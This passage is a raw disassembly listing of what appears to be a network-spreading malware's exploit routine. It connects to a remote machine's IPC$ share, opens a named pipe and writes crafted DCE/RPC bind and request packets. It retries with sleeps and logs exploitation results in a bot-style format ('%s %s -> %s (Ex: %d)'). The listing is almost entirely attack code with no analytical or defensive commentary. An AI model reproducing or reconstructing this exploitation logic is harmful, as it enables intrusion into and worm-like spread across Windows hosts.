		lea	eax, ds:432090h[eax*8]
		inc	dword ptr [eax]


loc_42140D:				; CODE XREF: sub_420BEE+546j
					; sub_420BEE+55Fj
		xor	eax, eax
		inc	eax
		jmp	loc_42111B
sub_420BEE	endp

; ---------------------------------------------------------------------------
		cmp	off_4490E8, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_421472
		mov	ebx, offset off_4490E8


loc_421426:				; CODE XREF: .text:00421470j
		cmp	dword_6312B8, 0
		jnz	short loc_421472
		push	dword ptr [ebx]
		lea	esi, [esp+1Ch]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	dword ptr [esp+0E8h]
		rep movsd
		push	dword ptr [esp+0E8h]
		call	sub_420BEE
		add	esp, 0DCh
		test	eax, eax
		jnz	short loc_42146A
		push	3E80h
		call	dword_42F15C	; Sleep


loc_42146A:				; CODE XREF: .text:0042145Dj
		add	ebx, 4
		cmp	dword ptr [ebx], 0
		jnz	short loc_421426


loc_421472:				; CODE XREF: .text:0042141Fj
					; .text:0042142Dj
		xor	eax, eax
		pop	edi
		pop	esi
		inc	eax
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_421479	proc near		; CODE XREF: sub_421589+E5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		xor	edx, edx
		cmp	[esp+arg_4], edx
		jbe	short locret_4214A9
		push	esi
		mov	esi, [esp+4+arg_8]


loc_421486:				; CODE XREF: sub_421479+2Dj
		mov	eax, [esp+4+arg_0]
		mov	cl, [edx+eax]
		mov	al, cl
		and	cl, 0Fh
		shr	al, 4
		add	cl, 41h
		add	al, 41h
		mov	[esi+edx*2], cl
		mov	[esi+edx*2+1], al
		inc	edx
		cmp	edx, [esp+4+arg_4]
		jb	short loc_421486
		pop	esi

locret_4214A9:				; CODE XREF: sub_421479+6j
		retn
sub_421479	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4214AA	proc near		; CODE XREF: sub_4214AA+CDp
					; sub_421589+48Ap

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_4214BE
		or	[ebp+arg_7], 1
		jmp	short loc_4214C2
; ---------------------------------------------------------------------------


loc_4214BE:				; CODE XREF: sub_4214AA+Cj
		and	[ebp+arg_7], 0FEh


loc_4214C2:				; CODE XREF: sub_4214AA+12j
		mov	ebx, [ebp+arg_20]
		mov	eax, [ebp+arg_24]
		lea	ecx, [ebx+18h]
		cmp	ecx, eax
		ja	short loc_4214E3
		or	[ebp+arg_7], 2
		and	byte ptr [ebp+arg_28+3], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4214F5
; ---------------------------------------------------------------------------


loc_4214E3:				; CODE XREF: sub_4214AA+23j
		mov	[ebp+arg_C], ax
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_14], eax
		mov	byte ptr [ebp+arg_28+3], 1


loc_4214F5:				; CODE XREF: sub_4214AA+37j
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_422F79
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jnz	short loc_42150E


loc_42150A:				; CODE XREF: sub_4214AA+A4j
		xor	eax, eax
		jmp	short loc_421584
; ---------------------------------------------------------------------------


loc_42150E:				; CODE XREF: sub_4214AA+5Ej
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		call	dword_42F07C	; WriteFile
		push	[ebp+arg_20]
		test	eax, eax
		jnz	short loc_421550
		call	sub_4230B3
		pop	ecx
		jmp	short loc_42150A
; ---------------------------------------------------------------------------


loc_421550:				; CODE XREF: sub_4214AA+9Cj
		call	sub_4230B3
		cmp	byte ptr [ebp+arg_28+3], 0
		pop	ecx
		jz	short loc_421581
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_4214AA
		add	esp, 2Ch
		jmp	short loc_421584
; ---------------------------------------------------------------------------


loc_421581:				; CODE XREF: sub_4214AA+B0j
		xor	eax, eax
		inc	eax


loc_421584:				; CODE XREF: sub_4214AA+62j
					; sub_4214AA+D5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4214AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421589	proc near		; CODE XREF: .text:00421B0Bp
					; .text:00421B2Fp ...

var_CC48	= byte ptr -0CC48h
var_8C48	= byte ptr -8C48h
var_6C48	= byte ptr -6C48h
var_4C48	= byte ptr -4C48h
var_2C48	= word ptr -2C48h
var_10F0	= dword	ptr -10F0h
var_7F4		= byte ptr -7F4h
var_7EF		= byte ptr -7EFh
var_7B0		= byte ptr -7B0h
var_344		= byte ptr -344h
var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_70		= byte ptr -70h
var_6C		= byte ptr -6Ch
var_6B		= byte ptr -6Bh
var_6A		= byte ptr -6Ah
var_69		= byte ptr -69h
var_68		= dword	ptr -68h
var_64		= word ptr -64h
var_62		= word ptr -62h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_5A		= word ptr -5Ah
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= word ptr -50h
var_4E		= byte ptr -4Eh
var_4C		= byte ptr -4Ch
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= byte ptr -22h
var_21		= byte ptr -21h
var_20		= dword	ptr -20h
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h
arg_CC		= dword	ptr  0D4h
arg_D4		= dword	ptr  0DCh
arg_D8		= dword	ptr  0E0h

		push	ebp
		mov	ebp, esp
		mov	eax, 0CC48h
		call	sub_4220C0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+arg_4]
		push	5
		push	eax
		call	sub_401AB3
		pop	ecx
		cmp	eax, 3
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_4215BE
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		call	sub_401AB3
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx


loc_4215BE:				; CODE XREF: sub_421589+23j
		mov	eax, dword_449344
		xor	ebx, ebx
		cmp	eax, ebx
		mov	[ebp+var_C], eax
		jz	loc_421A3C
		push	2B1h
		lea	eax, [ebp+var_344]
		push	ebx
		push	eax
		call	sub_4221F0
		mov	esi, 0DACh
		lea	eax, [ebp+var_10F0]
		push	esi
		push	ebx
		push	eax
		call	sub_4221F0
		push	1B58h
		lea	eax, [ebp+var_2C48]
		push	ebx
		push	eax
		call	sub_4221F0
		push	0DABh
		lea	eax, [ebp+var_10F0]
		push	41h
		push	eax
		call	sub_4221F0
		mov	edi, [ebp+arg_0]
		push	5
		push	offset aFb	; "f\a"
		lea	edi, [edi+edi*2]
		shl	edi, 2
		mov	eax, dword ptr (loc_44930A+2)[edi]
		mov	ecx, dword ptr (loc_449307+1)[edi]
		mov	[ebp+eax+var_10F0], ecx
		lea	eax, [ebp+var_7F4]
		push	eax
		call	sub_4223F0
		push	3Fh
		lea	eax, [ebp+var_7EF]
		push	offset sub_4492C8
		push	eax
		call	sub_4223F0
		add	esp, 48h
		lea	eax, [ebp+var_344]
		push	eax
		push	[ebp+var_C]
		push	offset dword_432980
		call	sub_421479
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_422120
		push	eax
		lea	eax, [ebp+var_344]
		push	eax
		lea	eax, [ebp+var_7B0]
		push	eax
		call	sub_4223F0
		lea	eax, [ebp+var_344]
		push	eax
		call	sub_422120
		add	esp, 20h
		cmp	[ebp+var_4], 3
		mov	[ebp+eax+var_7B0], bl
		jnz	short loc_4216C7
		xor	eax, eax


loc_4216B1:				; CODE XREF: sub_421589+13Cj
		movzx	cx, byte ptr [ebp+eax+var_10F0]
		mov	[ebp+eax*2+var_2C48], cx
		inc	eax
		cmp	eax, esi
		jb	short loc_4216B1


loc_4216C7:				; CODE XREF: sub_421589+124j
		lea	eax, [ebp+arg_4]
		mov	esi, 2000h
		push	eax
		push	offset aS_8	; "\\\\%s"
		lea	eax, [ebp+var_6C48]
		push	esi
		push	eax
		call	sub_42219B
		lea	eax, [ebp+var_6C48]
		push	esi
		push	eax
		lea	eax, [ebp+var_CC48]
		push	eax
		call	sub_424D66
		lea	eax, [ebp+arg_4]
		push	offset a__0	; "."
		push	eax
		call	sub_424380
		add	esp, 24h
		test	eax, eax
		jz	short loc_421763
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset dword_449368
		lea	eax, [ebp+var_8C48]
		push	esi
		push	eax
		call	sub_42219B
		push	esi
		lea	eax, [ebp+var_8C48]
		push	offset aIpc	; "IPC$"
		push	eax
		call	sub_421F40
		push	20h
		lea	eax, [ebp+var_90]
		push	ebx
		push	eax
		call	sub_4221F0
		lea	eax, [ebp+var_8C48]
		add	esp, 28h
		mov	[ebp+var_7C], eax
		mov	eax, offset byte_44D6A4
		push	ebx
		push	eax
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		call	dword_4543BC


loc_421763:				; CODE XREF: sub_421589+180j
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset dword_449368
		lea	eax, [ebp+var_4C48]
		push	esi
		push	eax
		call	sub_42219B
		push	esi
		lea	eax, [ebp+var_4C48]
		push	offset dword_44935C
		push	eax
		call	sub_421F40
		add	esp, 1Ch
		lea	eax, [ebp+var_4C48]
		push	ebx
		push	ebx
		push	3
		push	ebx
		push	3
		push	40000000h
		push	eax
		call	dword_42F060	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_421A31
		push	48h
		lea	eax, [ebp+var_6C]
		push	ebx
		push	eax
		call	sub_4221F0
		xor	eax, eax
		push	10h
		inc	eax
		pop	esi
		mov	[ebp+var_60], eax
		mov	[ebp+var_54], eax
		mov	[ebp+var_4E], al
		mov	[ebp+var_3C], eax
		push	esi
		lea	eax, [ebp+var_4C]
		push	offset dword_449348
		push	eax
		mov	[ebp+var_6C], 5
		mov	[ebp+var_6B], bl
		mov	[ebp+var_6A], 0Bh
		mov	[ebp+var_69], 3
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], 48h
		mov	[ebp+var_62], bx
		mov	[ebp+var_5C], 10B8h
		mov	[ebp+var_5A], 10B8h
		mov	[ebp+var_58], ebx
		mov	[ebp+var_50], bx
		call	sub_4223F0
		push	esi
		lea	eax, [ebp+var_38]
		push	offset dword_43C844
		push	eax
		mov	[ebp+var_28], 2
		call	sub_4223F0
		add	esp, 24h
		lea	eax, [ebp+var_70]
		push	ebx
		push	eax
		lea	eax, [ebp+var_6C]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	dword_42F07C	; WriteFile
		test	eax, eax
		jnz	short loc_42184E


loc_421840:				; CODE XREF: sub_421589+330j
		push	[ebp+var_4]
		call	dword_42F038	; CloseHandle
		jmp	loc_421A31
; ---------------------------------------------------------------------------


loc_42184E:				; CODE XREF: sub_421589+2B5j
		lea	eax, [ebp+var_CC48]
		push	eax
		call	sub_424B08
		lea	eax, [eax+eax+12h]
		pop	ecx
		test	al, 3
		mov	[ebp+arg_0], eax
		jz	short loc_42186F


loc_421866:				; CODE XREF: sub_421589+2E4j
		inc	[ebp+arg_0]
		test	byte ptr [ebp+arg_0], 3
		jnz	short loc_421866


loc_42186F:				; CODE XREF: sub_421589+2DBj
		cmp	byte ptr (loc_44930F+1)[edi], bl
		jz	short loc_42187B
		add	[ebp+arg_0], 4


loc_42187B:				; CODE XREF: sub_421589+2ECj
		lea	eax, [ebp+var_2C48]
		push	eax
		call	sub_424B08
		pop	ecx
		mov	ecx, [ebp+arg_0]
		lea	eax, [ecx+eax*2+0Eh]
		jmp	short loc_421892
; ---------------------------------------------------------------------------


loc_421891:				; CODE XREF: sub_421589+30Bj
		inc	eax


loc_421892:				; CODE XREF: sub_421589+306j
		test	al, 3
		jnz	short loc_421891
		add	eax, 8
		cmp	byte ptr (loc_44930F+1)[edi], bl
		jz	short loc_4218A6
		add	eax, 4
		jmp	short loc_4218A8
; ---------------------------------------------------------------------------


loc_4218A6:				; CODE XREF: sub_421589+316j
		inc	eax
		inc	eax


loc_4218A8:				; CODE XREF: sub_421589+31Bj
		push	eax
		mov	[ebp+arg_0], eax
		call	sub_422F79
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_C], esi
		jz	short loc_421840
		push	[ebp+arg_0]
		push	ebx
		push	esi
		call	sub_4221F0
		push	4
		push	offset dword_4492B8
		push	esi
		call	sub_4223F0
		lea	eax, [ebp+var_CC48]
		push	eax
		call	sub_424B08
		inc	eax
		mov	[esi+8], ebx
		mov	[esi+0Ch], eax
		mov	[esi+4], eax
		lea	eax, [ebp+var_CC48]
		push	eax
		lea	eax, [esi+10h]
		push	eax
		call	sub_424D41
		lea	eax, [ebp+var_CC48]
		push	eax
		call	sub_424B08
		lea	eax, [eax+eax+12h]
		add	esp, 28h
		test	al, 3
		mov	[ebp+var_8], eax
		jz	short loc_42191A


loc_421912:				; CODE XREF: sub_421589+38Cj
		inc	eax
		test	al, 3
		jnz	short loc_421912
		mov	[ebp+var_8], eax


loc_42191A:				; CODE XREF: sub_421589+387j
		cmp	byte ptr (loc_44930F+1)[edi], bl
		jz	short loc_421938
		push	4
		add	eax, esi
		push	offset dword_4492C0
		push	eax
		call	sub_4223F0
		add	esp, 0Ch
		add	[ebp+var_8], 4


loc_421938:				; CODE XREF: sub_421589+397j
		lea	eax, [ebp+var_2C48]
		push	eax
		call	sub_424B08
		mov	ecx, [ebp+var_8]
		inc	eax
		mov	[ecx+esi+8], eax
		mov	[ecx+esi+4], ebx
		mov	[ecx+esi], eax
		add	ecx, 0Ch
		mov	[ebp+var_8], ecx
		lea	eax, [ebp+var_2C48]
		add	ecx, esi
		push	eax
		push	ecx
		call	sub_424D41
		lea	eax, [ebp+var_2C48]
		push	eax
		call	sub_424B08
		mov	ecx, [ebp+var_8]
		add	esp, 10h
		lea	eax, [ecx+eax*2+2]
		test	al, 3
		mov	[ebp+var_8], eax
		jz	short loc_42198D


loc_421985:				; CODE XREF: sub_421589+3FFj
		inc	eax
		test	al, 3
		jnz	short loc_421985
		mov	[ebp+var_8], eax


loc_42198D:				; CODE XREF: sub_421589+3FAj
		push	8
		add	eax, esi
		push	ebx
		push	eax
		call	sub_4221F0
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		add	eax, 8
		cmp	byte ptr (loc_44930F+1)[edi], bl
		jz	short loc_4219AE
		mov	[eax+esi], ebx
		jmp	short loc_4219B4
; ---------------------------------------------------------------------------


loc_4219AE:				; CODE XREF: sub_421589+41Ej
		mov	word ptr [eax+esi], 1


loc_4219B4:				; CODE XREF: sub_421589+423j
		push	18h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		call	sub_4221F0
		xor	eax, eax
		add	esp, 0Ch
		inc	eax
		xor	ecx, ecx
		cmp	byte ptr (loc_44930F+1)[edi], bl
		push	eax
		push	10B8h
		mov	[ebp+var_24], 5
		push	[ebp+arg_0]
		mov	[ebp+var_23], bl
		setnz	cl
		push	esi
		lea	esi, [ebp+var_24]
		sub	esp, 18h
		lea	ecx, [ecx+ecx+19h]
		mov	[ebp+var_E], cx
		mov	[ebp+var_22], bl
		push	6
		mov	[ebp+var_21], 3
		pop	ecx
		mov	[ebp+var_20], 10h
		mov	edi, esp
		push	[ebp+var_4]
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], eax
		mov	[ebp+var_10], bx
		rep movsd
		call	sub_4214AA
		add	esp, 2Ch
		test	eax, eax
		push	[ebp+var_4]
		jnz	short loc_421A43
		call	dword_42F038	; CloseHandle
		push	[ebp+var_C]
		call	sub_4230B3
		pop	ecx


loc_421A31:				; CODE XREF: sub_421589+224j
					; sub_421589+2C0j
		push	ebx
		push	ebx
		push	[ebp+var_7C]
		call	dword_454374


loc_421A3C:				; CODE XREF: sub_421589+41j
		xor	eax, eax
		jmp	loc_421ADA
; ---------------------------------------------------------------------------


loc_421A43:				; CODE XREF: sub_421589+497j
		call	dword_42F038	; CloseHandle
		push	[ebp+var_C]
		call	sub_4230B3
		pop	ecx
		push	ebx
		push	ebx
		push	[ebp+var_7C]
		call	dword_454374
		push	76Ch
		call	dword_42F15C	; Sleep
		movzx	eax, word_439014
		push	eax
		lea	esi, [ebp+arg_4]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_401160
		add	esp, 0D4h
		test	eax, eax
		jz	short loc_421AD7
		mov	eax, [ebp+arg_BC]
		lea	eax, [eax+eax*8]
		shl	eax, 3
		lea	ecx, dword_432090[eax]
		inc	dword ptr [ecx]
		cmp	[ebp+arg_CC], ebx
		mov	ecx, [ecx]
		jz	short loc_421AD7
		push	ecx
		lea	ecx, [ebp+arg_4]
		lea	eax, dword_432069[eax]
		push	ecx
		push	eax
		push	offset aRaMr15qabm1 ; "RA/Mr15qAbm1"
		push	offset aSSSExD	; "%s %s -> %s (Ex: %d)"
		push	[ebp+arg_D4]
		push	[ebp+arg_D8]
		call	sub_4104F6
		add	esp, 1Ch


loc_421AD7:				; CODE XREF: sub_421589+504j
					; sub_421589+522j
		xor	eax, eax
		inc	eax


loc_421ADA:				; CODE XREF: sub_421589+4B5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_421589	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+10h]
		push	1
		push	eax
		call	sub_401AB3
		mov	ebx, [ebp+0Ch]
		pop	ecx
		pop	ecx
		lea	esi, [ebp+10h]
		push	ebx
		push	dword ptr [ebp+8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_421589
		add	esp, 0DCh
		lea	esi, [ebp+10h]
		mov	[ebp+0Ch], eax
		push	ebx
		push	dword ptr [ebp+8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	1
		rep movsd
		call	sub_421589
		add	esp, 0DCh
		test	eax, eax
		jnz	short loc_421B67
		cmp	[ebp+0Ch], eax
		jnz	short loc_421B67
		push	ebx
		lea	esi, [ebp+10h]
		push	dword ptr [ebp+8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	3
		rep movsd
		call	sub_421589
		add	esp, 0DCh
		mov	[ebp+0Ch], eax


loc_421B67:				; CODE XREF: .text:00421B3Cj
					; .text:00421B41j
		push	ebx
		lea	esi, [ebp+10h]
		push	dword ptr [ebp+8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	3
		rep movsd
		call	sub_421589
		add	esp, 0DCh
		test	eax, eax
		jnz	short loc_421B91
		cmp	[ebp+0Ch], eax
		jz	short loc_421B94


loc_421B91:				; CODE XREF: .text:00421B8Aj
		xor	eax, eax
		inc	eax


loc_421B94:				; CODE XREF: .text:00421B8Fj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+10h]
		push	1
		push	eax
		call	sub_401AB3
		mov	ebx, [ebp+0Ch]
		pop	ecx
		pop	ecx
		lea	esi, [ebp+10h]
		push	ebx
		push	dword ptr [ebp+8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_421589
		add	esp, 0DCh
		lea	esi, [ebp+10h]
		mov	[ebp+0Ch], eax
		push	ebx
		push	dword ptr [ebp+8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	0
		rep movsd
		call	sub_421589
		add	esp, 0DCh
		test	eax, eax
		jnz	short loc_421C21
		cmp	[ebp+0Ch], eax
		jnz	short loc_421C21
		push	ebx
		lea	esi, [ebp+10h]
		push	dword ptr [ebp+8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	2
		rep movsd
		call	sub_421589
		add	esp, 0DCh
		mov	[ebp+0Ch], eax


loc_421C21:				; CODE XREF: .text:00421BF6j
					; .text:00421BFBj
		push	ebx
		lea	esi, [ebp+10h]
		push	dword ptr [ebp+8]
		sub	esp, 0D0h
		push	34h
		pop	ecx
		mov	edi, esp
		push	2
		rep movsd
		call	sub_421589
		add	esp, 0DCh
		test	eax, eax
		jnz	short loc_421C4B
		cmp	[ebp+0Ch], eax
		jz	short loc_421C4E


loc_421C4B:				; CODE XREF: .text:00421C44j
		xor	eax, eax
		inc	eax


loc_421C4E:				; CODE XREF: .text:00421C49j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421C54	proc near		; CODE XREF: sub_417989+E8p
		jmp	dword_42F0E8
sub_421C54	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421C5A	proc near		; CODE XREF: sub_417989+3Fp
		jmp	dword_42F0F0
sub_421C5A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421C60	proc near		; CODE XREF: sub_417989+26p
					; sub_417A90+6Dp
		jmp	dword_42F0F4
sub_421C60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421C66	proc near		; CODE XREF: sub_417A90+21Bp
		jmp	dword_42F0F8
sub_421C66	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421C6C	proc near		; CODE XREF: sub_417A90+8Bp
		jmp	dword_42F0FC
sub_421C6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_421C72	proc near		; CODE XREF: sub_4128D4+6Ep
					; sub_41391C+65p ...
		jmp	dword_42F224
sub_421C72	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C78	proc near		; CODE XREF: sub_40D526+10p
					; sub_40F08A+6p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_4230B3
		pop	ecx
		retn
sub_421C78	endp


; =============== S U B	R O U T	I N E =======================================



sub_421C83	proc near		; CODE XREF: sub_40F3E1+Dp
		mov	eax, offset loc_42EF5C
		call	sub_423A68
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40F143
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_422120
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40F17B
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_40F1B0
		lea	eax, [ebp-3Ch]
		push	offset dword_430260
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_42F348
		call	sub_423A87
		pop	esi
sub_421C83	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421CDD	proc near		; CODE XREF: sub_421D1A+20p
					; DATA XREF: .text:00430264o
		mov	eax, offset loc_42EF70
		call	sub_423A68
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_42F368
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40F143
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_423BAB
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_421CDD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421D1A	proc near		; DATA XREF: .text:0042F350o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_421D53
		lea	eax, [ebp+var_1C]
		push	offset dword_430260
		push	eax
		call	sub_423A87


loc_421D37:				; DATA XREF: .text:off_42F348o
		push	esi
		mov	esi, ecx
		call	sub_421CDD
		test	[esp+20h+var_18], 1
		jz	short loc_421D4D
		push	esi
		call	sub_421C78
		pop	ecx


loc_421D4D:				; CODE XREF: sub_421D1A+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_421D1A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421D53	proc near		; CODE XREF: sub_421D1A+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_40F389
		mov	dword ptr [esi], offset	off_42F348
		mov	eax, esi
		pop	esi
		retn	4
sub_421D53	endp


; =============== S U B	R O U T	I N E =======================================



sub_421D6B	proc near		; CODE XREF: sub_40F210+13p
					; sub_40F2DD+Ep

; FUNCTION CHUNK AT 00421DFB SIZE 0000000C BYTES

		mov	eax, offset loc_42EF84
		call	sub_423A68
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40F143
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_422120
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40F17B
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_40F1B0
		lea	eax, [ebp-3Ch]
		push	offset dword_4300C0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_42F378
		call	sub_423A87
		pop	esi


loc_421DC5:				; DATA XREF: .text:00432014o
		test	byte_631764, 1
		jnz	short loc_421DD5
		or	byte_631764, 1


loc_421DD5:				; CODE XREF: sub_421D6B+61j
		call	sub_421DEF
		test	byte_631765, 1
		jnz	short loc_421DEA
		or	byte_631765, 1


loc_421DEA:				; CODE XREF: sub_421D6B+76j
		jmp	loc_421DFB
sub_421D6B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_421DEF	proc near		; CODE XREF: sub_421D6B:loc_421DD5p
		push	offset nullsub_1
		call	sub_42321A
		pop	ecx
		retn
sub_421DEF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_421D6B


loc_421DFB:				; CODE XREF: sub_421D6B:loc_421DEAj
		push	offset nullsub_1
		call	sub_42321A
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_421D6B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_421E08	proc near		; CODE XREF: sub_416208+ECp
					; sub_416208+188p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_421E77
		retn	4
sub_421E08	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E16	proc near		; CODE XREF: sub_416208+10Bp
					; sub_416208+1FEp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_421E68
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_449390
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_421E68
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_421E68
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_42F22C
		test	eax, eax
		jz	short loc_421E68
		and	[ebp+var_4], 0


loc_421E68:				; CODE XREF: sub_421E16+Dj
					; sub_421E16+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_421E77
		leave
		retn	0Ch
sub_421E16	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_421E77	proc near		; CODE XREF: sub_421E08+6p
					; sub_421E16+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
